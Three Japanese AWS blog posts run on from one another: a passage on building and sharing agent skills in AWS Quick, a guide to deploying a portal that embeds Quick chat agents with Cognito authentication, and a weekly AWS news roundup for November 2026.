の中心にあるのがエージェントです。エージェントは指示に従い、タスクに必要なスキルを読み込み、コネクタを通じて操作を行います。回答の根拠には、スペース、ナレッジベース、データセット、ダッシュボードといったデータを利用します。 エージェント Quick の エージェント は、独自の指示、ナレッジソース (スペース)、コネクタを持つ、設定可能な AI です。これらを利用して質問に答えたり、作業を代わりに進めたりします。エージェントとはチャットで対話できるほか、 ルーチン で自動的に実行させることもできます。エージェントがアクセスできるのは、ユーザー自身がアクセスできるリソースとサービスのみです。各エージェントに何を許可するかもユーザーが決めます。 デフォルトエージェントの「 Quick 」は、すべてのユーザーが利用できる組み込みのエージェントです。範囲が固定されていないため、会話ごとに、スペース、ナレッジベース、ダッシュボード、コネクタ、スキルなど、ユーザーがアクセスできるリソースを利用して動作します。リクエストにどのデータやツールが必要かを事前に決めなくてよいので、ほとんどの作業は Quick から開始できます。 カスタムエージェント は、自分やチームのメンバーが特定の仕事向けに設定するエージェントです。たとえば、人事 (HR) チームのスペースをもとに新入社員の質問に答える HR オンボーディングアシスタントがあります。カスタムエージェントには専用の指示を与え、ユースケースに必要なスペース、コネクタ、スキルのみを利用するよう制限します。テストして公開すると、同じ Quick アカウント内の他のユーザーやグループと共有できます。作成手順は「 Build AI-powered employee onboarding agents with AWS Quick 」を参照してください。 データ エージェントは、Quick に接続したデータに基づいて回答します。 スペース は、エージェントが情報源として利用するドキュメントと Quick リソースを選んでまとめたものです。自分用、チーム用、組織内の別のグループ用に作成できます。スペースにはファイルやフォルダをアップロードできるほか、ダッシュボード、ナレッジベース、アクションコネクタ、データセットなどのアセットも追加できます。Quick との会話を開始するときにスペースを添付すると、その会話で Quick が利用するデータを絞り込めます。エージェントにスペースを追加すると、スペースはエージェントの設定の一部になり、リクエストに必要なときにエージェントが参照します。 ナレッジベース は、データソースから集めたドキュメントやコンテンツを整理してインデックス化したもので、検索と質問への回答に最適化されています。Quick は、Google Drive、Microsoft OneDrive、Confluence、Microsoft SharePoint、Amazon Simple Storage Service (Amazon S3)、Web クローラー、 Amazon Bedrock Managed Knowledge Bases などのソースからナレッジベースを同期し、同期スケジュールに沿って最新の状態に保ちます。 データセットとダッシュボードは、Quick のビジネスインテリジェンス機能である AWS Quick Sight で作成します。Quick Sight は、AWS マネジメントコンソールからプロビジョニングしたアカウントで利用できます。 データセット は、分析やダッシュボードですぐに利用できるよう準備したデータの集まりです。 ダッシュボード は、分析を公開したもので、他の Quick ユーザーと共有できます。データセットを利用すると、データベースのテーブルなどの構造化データに意味を説明する豊富なメタデータを付けられるため、複雑な分析も自然言語で行えます。 最後に、 コネクタ は Quick を外部のアプリケーションやネイティブツールにつなぎ、エージェントがデータを読み取ったりユーザーの代わりに操作したりできるようにします。 クラウドコネクタ は、Microsoft Outlook、Slack、Jira、Asana、Salesforce などのサービスや、リモートでホストされている Model Context Protocol (MCP) サーバーに Quick を接続します。クラウドコネクタは、Quick を利用するすべてのデバイスで利用できます。 ローカルコネクタ は、自分でホストする MCP サーバーなど、自分のマシン上で動くコネクタです。そのため、ツールを利用できるのはそのマシンが起動していて接続されているときのみです。コネクタの種類の一覧は、Quick ユーザーガイドの「 Connectors 」と「 Integration-specific guides 」を参照してください。 こうした仕組みを組み合わせると、データ、ドキュメント、アプリケーションを自然言語で扱えるようになり、接続したソースに対して質問したり操作したりできます。 スキル スキル は、特定のタスクのやり方をエージェントに教える、再利用可能な指示のセットです。スキルは、Quick のエージェントの振る舞いと作業の進め方の土台でもあります。Quick のエージェントは、他のエージェントと同じく、推論と行動 (ReAct) パターンに従うハーネス (マネージドなエージェントループ) の中で動きます。Quick にプロンプトを入力すると、エージェントは利用できるツールと指示を活用して目的を達成し、回答を返します。 Strands Agents SDK などのエージェントフレームワークも、同じモデル駆動のループをもとに作られています。 Quick がデフォルトでできることの多くは、 システムスキル によるものです。たとえば、Quick に Word 文書、PowerPoint のプレゼンテーション、Excel のスプレッドシート、PDF の作成を頼むと、システムスキルが同梱のスクリプトを利用し、コードでドキュメントを作成・編集します。ほかにも、Web の閲覧、コードの実行、ディープリサーチ、音声や動画の文字起こし、画像の生成を行うシステムスキルがあります。 AWS Quick Flows の作成、ルーチンのスケジュール設定、Kiro などのコーディングエージェントへの作業の引き渡し、メモリとナレッジグラフの管理、To-Do の管理など、Quick 自体を管理するシステムスキルもあります。Quick の中でシステムスキルのオン・オフは切り替えられますが、編集、複製、エクスポート、公開、共有、削除はできません。 Quick の機能とツールを組み合わせることで、スキルでさまざまな作業を実行できます。たとえば、テンプレートから週次の状況報告を作るなど、成果物を作るスキルがあります。その週の Jira の更新を集めて要約を Slack に投稿するなど、複数のコネクタをまたいでワークフローを自動化するスキルもあります。Python スクリプトで計算し、結果を JavaScript でグラフにするスキルも作れます。 スキルとは Quick のスキルは、Anthropic が開発してオープンスタンダードとして公開した Agent Skills 仕様に準拠しています。 2026 年 4 月にプレビュー として登場し、 2026 年 9 月に一般提供 が始まったデスクトップ版 Quick も、この仕様を採用しています。 スキルは、ルートに Markdown ファイル SKILL.md を置いたフォルダです。指示の中で利用するスクリプトや参考ファイルも、必要に応じて入れられます。ファイルのフロントマター (2 本の --- 行で囲まれた属性) には、名前、説明、その他スキルに関係するメタデータを書きます。以下は、 release-notes-generator というスキルを短くした例です。 --- name: release-notes-generator description: "Generates human-readable release notes from merged pull requests, commits, or changelogs ... Use when asked to 'generate release notes', 'write changelog', ..." --- スキルが呼び出されるかどうかは、説明と名前で大きく決まります。Quick はスキルをエージェントのプロンプトに読み込むときに 段階的開示 (progressive disclosure) を利用します。エージェントは、リクエストがそのスキルを必要とするまで、各スキルの名前と説明のみを読みます。必要になった時点で、スキルの指示全体を読み込みます (詳しくは「 How agents load skills 」を参照)。そのため、「バージョン 2.3 のリリースノートを作って」のような特定のフレーズを入力すると、スキルが呼び出されやすくなります。仕様では name を 64 文字、 description を 1,024 文字までに制限しており、スキル内の指示は 5,000 トークン未満を推奨しています。 図 2: release-notes-generator スキルのフォルダ。必須の SKILL.md ファイルと、任意の scripts フォルダ、references フォルダがある Quick でスキルを作成して共有する スキルは、チャット、ファイル (.md または .zip)、ルートに SKILL.md ファイルがあるフォルダのいずれかから作成できます。本記事ではチャットから作る方法を扱います。まず、チャットで Quick にタスクを説明します。たとえば、次のテンプレートから開始できます (<> で囲んだ部分を自分の要件に置き換えてください)。 Every <specify your cadence e.g. every day, on monday, or none at all>, I have to grab data from the following sources: - <List your sources and how you want to query them> ... And do <describe how you want to transform the data and the exact sequence of steps>. Once I am finished, I have to create a report <describe your report format or provide an example> and send to the following stakeholders <describe your recipients> using the following connector <describe your connector>. Create a skill from this requirement, and help me come up with testing scenarios to test the skill. 自分のスキル作りを開始するのに必要なのはこれだけです。以前にタスクを実行するために行った複数ターンの会話をもとに、Quick にスキルを作ってもらうこともできます。最終的な結果に納得したら、スキルを公開して共有します。 Customize を選択し、 Skills を選択します。 下書きのスキルを見つけて、詳細パネルを開きます。 Publish を選択します。 Share を選択し、共有する相手のユーザーまたはグループを選択します。 公開と共有は別の手順です。公開しただけでは、誰もスキルにアクセスできません。共有された人は、 Shared with me の Add to Quick からスキルを追加します。追加したスキルは、作成者が再公開するたびに同期されます。最新の手順は、Quick ユーザーガイドの「 Draft and published versions 」と「 Sharing your skills 」を参照してください。 ベストプラクティスでスキルを改善する 簡単な説明や会話から作ったスキルでも、自分の環境では安定して動くかもしれません。しかし、チームで共有する本番用のスキルを作るときは、考慮すべき点がたくさんあります。スキルはコードと似ており、ソフトウェアエンジニアリングのベストプラクティスの多くは、ナレッジワーカーがスキルを作る場合にも役立ちます。 「自分のマシンでは動く」は、ソフトウェアエンジニアの間でよく聞く言葉です。作った本人の環境では動くのに、他の人がインストールしたり利用したりすると動作しないソフトウェアを指します。スキルを作るときは、環境を考慮する必要があります。スキルの指示では、エージェントを利用してデータソースを照会したり、コネクタやツールを呼び出したりできるからです。ソフトウェアエンジニアは通常、ソフトウェアを利用するための前提条件を文書化して、環境の違いによる問題を回避します。たとえば、スキルのみを単体で共有する場合は、こうした要件を記した README をスキルに添えるとよいでしょう。スキルを利用するエージェントを共有する場合は、エージェントが接続するソースもあわせて共有してください。共有しないと、共有された人は自分がすでにアクセスできるソースからしか回答を得られません。 失敗に備えます。エージェントは、サードパーティやファーストパーティのサービスに依存する接続済みのソースを利用します。エンジニアはコードを書くとき、ソフトウェアの一部が失敗したらどうするかを理解しておく必要があります。こうした状況をスキルの指示に盛り込んでおけば、エージェントは具体的な指示に沿って対応できます。エージェントは目的に向かって動き、ステップが失敗した場合は再試行したり別の方法を試したりできるので、スキルの作成者に、連携先のサービスに関する詳細な知識は求められません。ただし、失敗がタスクや業務プロセスに影響する場合にどうするかは書いておく必要があります。次のスニペットは、失敗すると影響が出かねないスキル内のワークフローの一部です。 [Agent] Send the report to {{recipient}} over email. メールの送信に失敗したら、エージェントはどうすべきでしょうか。その場合の対応を指示に加えるとよいでしょう。 [Agent] Send the report to {{recipient}} over email. Validate: The report appears in your Sent folder. If fails: Stop, and tell the user that the report wasn't sent and why, so they can send it themselves. 人の確認なしにスケジュールでエージェントを実行する場合は、失敗時の対応がさらに重要になります。 変更のたびにテストします。ソフトウェアエンジニアは、単体テストや結合テストなど、さまざまな種類のテストを書いてソフトウェアを検証し、変更のたびに実行します。スキルでも同じように、さまざまな状況のテストケースを自分で作り、変更に合わせて新しいテストを追加していくことが重要です。方法はいくつかありますが、スキルを利用する人が実際に利用する環境でテストするのが最善です。 本番用のスキルを作るときに考慮すべき点は、ほかにもたくさんあります。 変更ごとにリリースノートを付ける。 /Users/me/notes や #my-team のように変わる可能性がある値は手順にハードコードせず、各自が指定する入力として宣言する。 スキルを変更した日付を、人が読める形で記録する。 各参考ファイルの出典を記録し、元の情報が変わったらスキルの指示も更新できるようにする。 チェックサム (スキルのファイルの指紋) を保存し、確認済みのバージョンとコピーの違いが分かるようにする。 リンターがレビュー前にコードの誤りを見つけるように、変更のたびに構造をチェックする。 スキルを一貫した方法で作り、チームが変更を提案しやすく、レビューしやすくする。 ここまでの点をすべて考慮するのは、どのユーザーにとっても大変です。そこで Quick 公式カタログ では、こうしたベストプラクティスを踏まえて作ったスキルなどのリソースを用意しています。 AWS Quick 公式カタログ 公式カタログは、エージェント用リソースを集めたものです。そのままインストールして利用することも、出発点にして自分の仕事に合わせて変えることもできます。カタログによると、掲載されているリソースはすべて、公開前に品質、セキュリティなどの観点でテストとスキャンを受けています。スキルは、日常の生産性向上のほか、営業、マーケティング、人事、法務、プロジェクト管理、カスタマーサクセス、ソフトウェアエンジニアリングなどのチームの仕事に対応しています。金融、ヘルスケア・ライフサイエンス、エネルギー・公益事業、ホスピタリティ、サプライチェーン・物流などの業界向けのスキルもあります。 カタログには、こうしたエンジニアリングのベストプラクティスを代わりに適用してくれる、構築済みの Skill Architect スキルがあります。詳しくは「 Build skills with software engineering practices in AWS Quick 」を参照してください。インストールするには、 Customize 、 Skills 、 Browse all 、 Official の順に選択します。検索ボックスに skill architect と入力し、 Install を選択します。最新の手順は「 Install skills in AWS Quick on desktop 」を参照してください。 スキルをエージェントにつなぐ エージェントを作成するときは、名前、説明、指示を設定し、参照するスペース、利用できるコネクタ、読み込めるスキルを選択します。詳しくは、Quick ユーザーガイドの「 Agent configuration 」を参照してください。エージェントは、新入社員の質問に答える、週次の状況報告を準備するといった特定のユースケースに絞り、そのユースケースに必要なスペース、スキル、コネクタのみに 範囲を限定 したときに最もよく機能します。デフォルトでは、エージェントはユーザーのすべてのスキルを利用できます。特定のスキルを追加すると、エージェントはそのスキルのみを利用するようになります。デフォルトのままだと、エージェントを共有したときに問題になります。エージェントは利用する人の権限で動作するからです。同じリクエストでも人によって利用できるデータやスキルが異なり、自分しかアクセスできないソースが必要な場合は不完全な回答になることがあります。 エージェント、スキル、スペースを組み合わせて利用してみたい場合は、ワークショップの personal agent architect モジュール をお試しください。 まとめ 本記事では、Quick でエージェントがスキルとデータをどう利用するのか、そしてチームで利用できるスキルの作り方と共有方法を紹介しました。あわせて、公式カタログとカスタムエージェントを利用してスキルを活用する方法も取り上げました。 Quick についてさらに学んだり、イベントを探したり、成功事例を共有したりするには、 AWS Quick Community をご覧ください。Quick Community には、学習教材、機能の発表、イベント、他のユーザーの事例があります。Q&A フォーラムで質問することもできます。 本記事のトピックを扱った録画セッションは、「 Encode Your Enterprise with Agents & Skills on AWS Quick 」でご覧いただけます。セッションでは、スキルの構造と読み込み方、エージェント・スペース・コネクタとスキルの連携、共有するスキルを作るときのベストプラクティスを扱います。最後に、公式カタログと Skill Architect スキルのデモがあります。 Quick に日々携わるスペシャリストが作成した、その他のリソースも紹介します。 A Complete Guide to AWS Quick: The Agentic AI Business Workspace AWS Quick: End-to-End Business Use Cases with Rich Integrations AWS Quick Administration Workshop Deep dive into AWS Quick Sight AWS Quick Knowledge Hub – Official Code Samples and Solutions Quick に関する AWS ブログ記事 著者について Jed Lechner Jed は、AWS のシニアスペシャリストソリューションアーキテクトで、エージェント型 AI ソリューションを専門としています。現職の前は、AWS や他の企業でソフトウェアエンジニアとして、エネルギーとサステナビリティの分野に取り組んでいました。 翻訳は Solutions Architect の 守田 凜々佳 が担当しました。

本記事は 2026 年 3 月 4 日 に公開された「 Embed AWS Quick chat agents in enterprise applications 」を翻訳したものです。 対話型 AI を導入する組織は、2 つの大きな課題に直面する場合があります。1 つ目は、ユーザーが別のツールではなく、普段利用している CRM やサポートコンソール、分析ポータルの中で答えを得たいという点です。2 つ目は、セキュアなチャットをアプリケーションに埋め込むには、認証、トークン検証、ドメインのセキュリティ、グローバル配信のインフラストラクチャを作り込む必要があり、開発に数週間かかることもあるという点です。 AWS Quick の 埋め込みチャット は、1 つ目の課題の解決に役立ちます。対話型 AI をアプリケーションに直接組み込めるので、ユーザーはツールを切り替えずに、構造化データへの問い合わせ、ドキュメントの検索、アクションの実行ができます。 本記事では、2 つ目の課題を解決する方法として、Quick の Embedding SDK を利用してチャットエージェントを企業ポータルに埋め込む、ワンクリックでデプロイできるソリューションを紹介します。 ソリューションの概要 このソリューションは、埋め込みチャット用のセキュアなウェブポータルをデプロイします。グローバルなコンテンツ配信には Amazon CloudFront 、 OAuth 2.0 認証には Amazon Cognito 、REST API エンドポイントには Amazon API Gateway 、サーバーレスな API 処理には AWS Lambda 、Quick との ID 連携には OpenID Connect (OIDC) フェデレーションを利用します。 セキュリティは多層防御で実装しています。CloudFront での DDoS 対策、 オリジンアクセスコントロール によってフロントエンドのアセットへの直接アクセスを防ぐプライベートな Amazon Simple Storage Service (Amazon S3) バケット、API Gateway での AWS WAF によるレート制限、そして Amazon Cognito の公開鍵を利用した JSON Web Token (JWT) の署名検証です。署名を検証したうえで、最小権限の AWS Identity and Access Management (IAM) 権限で、ユーザーごとの有効期限付き埋め込み URL を生成します。 ソリューションのアーキテクチャを次の図に示します。 処理の流れは次のとおりです。 ユーザーがウェブポータルの URL にアクセスすると、リクエストは CloudFront にルーティングされます。 CloudFront はオリジンアクセスコントロールを利用して、プライベートな S3 バケットから HTML、CSS、JavaScript のファイルを取得します。 ウェブアプリケーションは有効な認証トークンがあるかを確認し、未認証のユーザーを OAuth 2.0 ログイン用の Amazon Cognito のホストされた UI にリダイレクトします。 ユーザーが Amazon Cognito のログインページで認証情報を入力すると、Amazon Cognito が認証情報を検証し、1 回限り有効な認可コードを付けて CloudFront の URL にリダイレクトします。 アプリケーションは認可コードを取り出し、API Gateway の API を HTTPS で呼び出します。この呼び出しは AWS WAF のレート制限を通過します。 API Gateway は認可コードを渡して Lambda 関数を呼び出します。 Lambda 関数は Amazon Cognito の OAuth トークンエンドポイントをサーバー間の HTTPS で呼び出し、認可コードを JWT (ID トークン、アクセストークン、リフレッシュトークン) と交換します。 Lambda 関数は、Amazon Cognito の公開鍵である JSON Web Key Set (JWKS) を利用して ID トークンの暗号署名を検証します。Lambda 関数は、JWKS をスレッドセーフな方法でキャッシュします。 デコードした JWT の例を次に示します。 {"at_hash": "abcdefifB5vH2D0HEvLghi", "sub": "12345678-abcd-1234-efgh-123456789012", "email_verified": true, "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE123", "cognito:username": "12345678-abcd-1234-efgh-123456789012", "origin_jti": "abcd1234-5678-90ef-ghij-klmnopqrstuv", "aud": "1a2b3c4d5e6f7g8h9i0j1k2l3m", "event_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "token_use": "id", "auth_time": 1704063600, "exp": 1704067200, "iat": 1704063600, "jti": "abcdef12-3456-7890-abcd-ef1234567890", "email": "user123@example.com"} Lambda 関数は、検証済みの ID トークンを利用して AWS Security Token Service (AWS STS) の AssumeRoleWithWebIdentity API を呼び出し、IAM ウェブ ID ロールを引き受けて一時的な AWS 認証情報を受け取ります。 Lambda 関数は一時的な認証情報で Quick の ListUsers API を呼び出してユーザーの存在を確認し、続いて GenerateEmbedUrlForRegisteredUser API を呼び出して、ドメイン制限付きのセキュアな埋め込み URL を生成します。 Lambda 関数は、 クロスオリジンリソース共有 (CORS) ヘッダー付きの JSON レスポンスで埋め込み URL を返します。レスポンスは API Gateway を経由して CloudFront に届きます。埋め込み URL の例を次に示します。 {"ChatEmbedUrl": "https://us-east-1.quicksight.aws.amazon.com/embedding/abcdefe827dd4ef8b4e1fb921db046c4/quick/chat?code=Abcdef....&identityprovider=quicksight&isauthcode=true", "user": "user123@example.com"} CloudFront 上のアプリケーションは、Quick の Embedding SDK で埋め込みコンテキストを作成し、セキュアなクロスオリジン通信を利用して HTML の iframe 内にチャットインターフェイスを表示します。 ソリューションは、大まかに次の手順でデプロイできます。 AWS Cloud Development Kit (AWS CDK) でサーバーレスインフラストラクチャをデプロイする。 Amazon Cognito と Quick にユーザーをプロビジョニングする。 Quick のアセット (チャットエージェントと、関連する接続やナレッジベース) を共有する。 ウェブポータルにアクセスして Quick のチャットエージェントを利用する。 前提条件 本記事のソリューションをデプロイするには、次のものが必要です。 AWS アカウント 認証方法が パスワードベース または シングルサインオン の Quick のサブスクリプション AWS CDK CLI AWS SDK for Python (Boto3) ソリューションのデプロイに必要な権限を持つ AWS CLI プロファイル 。Quick の名前空間の一覧取得、IAM ロールの作成、および CloudFront ディストリビューション、S3 バケット、API Gateway REST API、AWS WAF ウェブアクセスコントロールリスト、Lambda 関数、Amazon Cognito ユーザープールといった AWS リソースの作成の権限が必要です。 Node.js 20 以降 jq 1.7 以降 起動済みの Docker Desktop AWS CDK でサーバーレスインフラストラクチャをデプロイする 次の手順で、AWS CDK を利用してサーバーレスインフラストラクチャをデプロイします。 GitHub リポジトリ をクローンします。 git clone git@github.com:aws-samples/sample-quicksuite-chat-embedding.git cd sample-quicksuite-chat-embedding インフラストラクチャをデプロイします。 ./setup.sh AWS リージョンコード、AWS CloudFormation のスタック ID とポータルのタイトル、AWS CLI プロファイルの入力を求められます。 Amazon Cognito と AWS Quick にユーザーをプロビジョニングする 次の手順で、Amazon Cognito と Quick にユーザーをプロビジョニングします。 Amazon Cognito ユーザープールに Amazon Cognito ユーザーを作成します。 python scripts/create_cognito_user.py --profile <aws-profile> <cognito-user-email> Quick にフェデレーションユーザーを作成します。 python scripts/create_quicksuite_user.py --profile <aws-profile> <cognito-user-email> AWS Quick のチャットエージェントを共有する 次の手順で、Quick のチャットエージェントを共有します。 Author Pro ロールを持つ認証情報で Quick のコンソールにサインインします。 ナビゲーションペインで チャットエージェント を選択します。 共有したいエージェント (例: AnyCompany Ecom order assistant) を選択し、 共有 を選択します。 先ほど作成したユーザー名 (例: user123@example.com) を検索します。 共有 を選択します。 エージェントをすべての機能で利用できるようにするには、エージェントの共有後に、エージェントに紐付いた各リソースも個別に共有する必要があります。 ウェブポータルにアクセスして AWS Quick のチャットエージェントを利用する 次の手順で、ウェブポータルにアクセスしてチャットエージェントの利用を開始します。 Amazon Cognito から送信される検証メールで、一時パスワードを確認します。 ウェブブラウザで CloudFront の URL にアクセスし、ユーザー ID と一時パスワードでログインします。 初回ログイン時に、パスワードの変更を求められます。 ログインに成功すると、チャットインターフェイスに My Assistant が表示されます。 接続先のリージョンを選択し、Quick のカスタムチャットエージェントに接続します。 自分に共有されたチャットエージェントを表示するには、 Filter の下にある Shared with me を選択します。 利用するエージェントを選択して、チャットを開始します。 次のスクリーンショットは、カスタマーサービス担当者がチャットで操作する例です。担当者は、電話で本人確認を済ませたお客様の依頼を受けて、サンプルのオンライン注文を追跡し、返品を処理しています。 クリーンアップ 次のコマンドで、デプロイした AWS リソースを削除します。 ./cleanup.sh まとめ このソリューションは、対話型 AI を大規模に埋め込む際の主な課題に対応します。具体的には、世界各地から同時にアクセスする数千人のユーザーの認証をセキュアに処理し、充実した監査証跡を備えたエンタープライズレベルのセキュリティを保ち、インフラストラクチャのプロビジョニングを自動化してデプロイを簡単にします。ポータルのブランディングのカスタマイズ、セキュリティポリシーの調整、既存の ID プロバイダーとの統合もできます。従量課金のまま、数千人の同時ユーザーまで自動でスケールします。 このソリューションを試すには、 GitHub リポジトリ をクローンし、ワンクリックでインフラストラクチャ一式をデプロイして、Quick のチャットエージェントを埋め込んでください。 著者について Satyanarayana Adimula AWS Generative AI Innovation & Delivery の Senior Builder です。20 年以上にわたるデータと分析の専門知識を活かし、エージェント型 AI システムの構築を専門としています。大企業が複雑なワークフローを自動化し、意思決定を速め、測定可能なビジネス成果を上げられるよう支援しています。 翻訳は Solutions Architect の 守田 凜々佳 が担当しました。

新しいものを導入する際のコストの大部分は、新しいもの自体ではなく、移行作業にあります。Hive テーブルを Apache Iceberg に移行するには、通常、数週間のエンジニアリング作業が必要でした。2026 年 11 月 2 日週、 Amazon S3 Tables は、この作業を、「開始」、「必要な頻度で同期」、「完了」という 3 つステップに簡略化しました。ソースは、カットオーバー時の数分間を除いて書き込み可能な状態を維持します。同じ週に、 Amazon DynamoDB は、S3 から既存のテーブルへのデータロードを開始しました。 私が気に入っているのは、いずれのサービスも実行中のものを停止する必要がないということです。11 月 9 日週のエージェント関連のニュースも、同様のアプローチで読むことができます。新しい Amazon Bedrock AgentCore Runtime は、既存のランタイム上の単一フィールドであり、Web Answer は、既に実行中のゲートウェイにアタッチするツールです。それでは、11 月 9 日週の AWS ニュースを詳しく見ていきましょう。 主なトピック 新しい AgentCore ランタイム: 伸縮性、最適化、および一貫して高速な開始を実現 – AgentCore 上でエージェントを実行しており、一般提供が開始されて以来、 新しいランタイム をまだ試していないお客様は、ぜひ一度お試しください。このランタイムは 2 つの点で変更されています。まず、メモリです。セッションは小さなメモリから開始し、必要に応じてページインし、ピーク時にメモリを保持するのではなく、コールド時にはメモリを解放します。そのため、エージェントが使用した分についてのみ料金が発生します。次に、コールドスタートです。AgentCore は環境を一度準備し、そのスナップショットを作成して、すべての新しいインスタンスについてそのスナップショットを復元します。チームのテストでは、これにより P75 のコールドスタート時間は 200 MB から 2 GB までのイメージサイズで約 2 秒に抑えられました。一方、従来のランタイムではイメージサイズが大きくなるにつれて、約 5.4 秒から 30 秒近くまで長くなっていました。単位あたりの料金は高くなりますが、使用する GB-時間が大幅に短くなるため、ほとんどのエージェントで請求される料金が安くなるとチームは予想していますが、これは保証されるものではありません。 オプトインするには、ランタイムの作成または更新時に platformVersion を V2 に設定します。スナップショットが準備されている間、作成と更新には数分かかります。コンテナは 120 秒以内に /ping で正常状態を報告する必要があるため、初期化が完了した後にのみ正常状態を報告してください。ドキュメントでは、 V2 向けにエージェントを最適化する方法 について説明しています。V2 は 10 個のリージョン で利用可能であり、コミットベースライン料金は近日中に利用可能となる予定です。 Amazon S3 Tables で、Apache Hive テーブルから Apache Iceberg へのマネージド移行の提供を開始 – AWS Glue データカタログに登録されている Parquet テーブルを、パイプラインの構築やコンピューティングのプロビジョニングなしで S3 Tables に移行できるようになりました。S3 Tables はソースを検証し、対象となるすべてのオブジェクトをカバーする互換性レポートを生成します。各同期では変更された部分のみがコピーされるため、本番はカットオーバーまで書き込みを継続します。その後、 Amazon Athena 、 Amazon SageMaker Unified Studio 、または Iceberg REST API に対応する任意のエンジンを使用してテーブルをクエリできます。料金はコピーされたデータについてのみ発生し、変換には料金はかかりません。また、 S3 Intelligent–Tiering 内のオブジェクトは階層を維持します。リリース時点では、同一アカウントおよび同一リージョン (10 個のリージョン) 内で動作します。 11 月 2 日週のリリース 11 月 2 日週のリリースのうち、私が注目したものをいくつかご紹介します。 Amazon DynamoDB がバルクプット項目のサポートを開始 – Amazon S3 から、行区切りの DynamoDB JSON ファイルまたは Amazon Ion ファイルを、マネージド非同期ジョブとして既存のテーブルにロードできるようになりました。各レコードは独自の条件式を持つことができるため、1 つのファイルでプレーンな書き込み、挿入のみの書き込み、バージョン管理された書き込みを混在させることができます。書き込みには専用のシステム容量が使用され、同等のリクエストごとの書き込みよりもコストが低くなります。アクセラレーテッド階層は、期限付きジョブを処理します。 データベースブログ記事 では、1 億個の 1 KB の項目について 1 時間未満という、アクセラレーテッド処理時の時間の具体的な例が示されています。開始前に知っておくべきこと: キャンセルしても、既に書き込まれた項目はロールバックされません。 Amazon Bedrock AgentCore での Web Answer の発表 – エージェントに単一のツール呼び出しを与えるだけで、独自の検索、取得、引用パイプラインを構築する代わりに、自然言語の質問に対する合成され、引用付きの回答を返すことができるようになりました。Web Answer は独自の検索を計画し、複数の検索を並列実行して、十分な証拠が揃った時点で判断します。AgentCore Gateway におけるターゲットとしてアタッチし、MCP 経由で呼び出します。ドメインの包含リストと拒否リスト、および公開日フィルターを使用して制限できます。米国東部 (バージニア北部) で利用可能です。 開始方法の記事 では、独自のモデルで合成するためのランキング付けされた結果を返す Web Search ではなく、この機能を使用すべき場合について説明しています。 AWS Lambda がセルフマネージド Kafka イベントソースで Apache Kafka のキューのサポートを開始 – 単一の Kafka パーティションからのレコードを、多数の並列 AWS Lambda 呼び出しで処理できるようになりました。従来のコンシューマーグループは、パーティション数で並列処理の上限を設けます。キューモードは Kafka 共有グループを使用し、共有グループが有効になっている Kafka 4.2 以降が必要です。セルフマネージドクラスターと、Confluent Cloud などのマネージドオファリングの両方で動作します。順序付けは放棄され、At-least-once 配信が行われるため、関数はべき等である必要があります。 コンピューティングブログのチュートリアル では、ポーラーのスケーリングと、ストリームモードを維持すべき場合について解説しています。 AWS が Equinix との AWS Interconnect – ラストマイルプレビューを発表 – Equinix の 282 のデータセンターネットワークから AWS へのプライベートマネージド接続を、クロスコネクトの注文やルーターの設定なしでセットアップできるようになりました。キャパシティは 2 つのロケーションと 4 つのリンクで 4 重冗長化されており、BGP と VLAN は自動的に設定され、99.99% の可用性 SLA と MACsec がデフォルトで提供されます。リージョン、帯域幅、 AWS Direct Connect ゲートウェイを選択し、アクティベーションキーを Equinix Fabric に貼り付けます。プレビューはサンノゼ都市圏をカバーしており、 先週木曜日 からはバージニア北部も対象となっており、1 Gbps 接続が無料で利用できます。 AWS Security Hub が、コンピューティングリソース向けに SBOM インベントリの提供を開始 – 組織の Amazon EC2 インスタンス、 Amazon ECR イメージ、Lambda 関数にインストールされているすべてのソフトウェアパッケージを、各パッケージのバージョンと実行中のリソース数を含めて、 AWS Security Hub で確認できるようになりました。今後、広く利用されているライブラリに脆弱性が見つかった場合、このリストは非常に役立ちます。このインベントリは、 Amazon Inspector が既に生成している SBOM に基づいて構築されているため、Inspector が有効になっている場所では自動的に入力されます。これは Security Hub Essentials に含まれており、追加料金なしでご利用いただけます。 AWS のお知らせに関する詳しいリストについては、「 AWS の最新情報 」ページをご覧ください。 AWS のその他のニュース 皆さんが興味を持つと思われるその他の記事とリソースをいくつかご紹介します。 Serverless ICYMI Q3 2026 – Julian Wood による四半期ごとのまとめ記事では、re:Invent の開催前にサーバーレスに関する最新情報を簡潔にまとめています: コンテナイメージ向けの Lambda SnapStart、Lambda マネージドインスタンスの 90 分タイムアウト、10 個のリージョンでの Lambda MicroVM、 Amazon SNS における 1 MiB のペイロード、および新しい AgentCore Runtime。 AWS が MySQL に大規模トランザクション向けバイナリログ最適化を提供 – バイナリログが有効になっている場合、大規模トランザクションはイベントのコピー中にグローバルコミットロックを保持し、他のすべてのコミットをブロックします。 Amazon Aurora MySQL が 2019 年から本番で運用しているこの最適化は、スピルファイルをコピーする代わりにバイナリログに取り込みます。AWS のテストでは、50 GiB のトランザクションのコミットレイテンシーが約 7 分から約 2～2.5 秒に短縮されました。これはコミュニティ MySQL にも提供されています。 OrderServ がマルチテナント ECS で最大 64% のコスト削減を実現した方法 – Cognizant のフードデリバリープラットフォームは、 AWS Fargate 上のブランドごとに 1 つの Amazon ECS クラスターから、ウォームプールを備えた EC2 Auto Scaling グループ上の共有クラスターへと移行しました。64% は 3 年間の Compute Savings Plan (1 年間のプランの場合は 47%) に適用されます。スケーリング時間も 5～7 分から 30～60 秒に短縮されました。 今後開催される AWS イベント カレンダーを確認して、近日開催予定の AWS イベントにサインアップしましょう。 AWS re:Invent – 今年も re:Invent が 11 月 30 日から 12 月 4 日までラスベガスで開催されます。 イベントカタログ が公開され、予約席も受付中です。ぜひ 登録 して、満席になる前に席を確保してください。 AWS Community Days – コミュニティリーダーが企画および運営するコミュニティ主導のカンファレンスで、年末までにさらにいくつか開催予定です: ブラジルのベレン (11 月 14 日)、 日本の秋田県における JAWS FESTA 2026 (11 月 17 日)、 ナイジェリアのポートハーコート (12 月 12 日)。 AWS Builder Center に参加して、ビルダーとつながり、ソリューションを共有し、開発をサポートするコンテンツにアクセスしましょう。 こちら から、今後開催されるすべての AWS 主導の対面イベントおよび仮想イベントとデベロッパー向けのイベントをご覧いただけます。 11 月 9 日週のニュースは以上です。11 月 16 日週に再びアクセスして、新たな Weekly Roundup をぜひお読みください! – Daniel Abib この記事は、Weekly Roundup シリーズの一部です。AWS からの興味深いニュースや発表を簡単にまとめて毎週ご紹介します! 原文は こちら です。

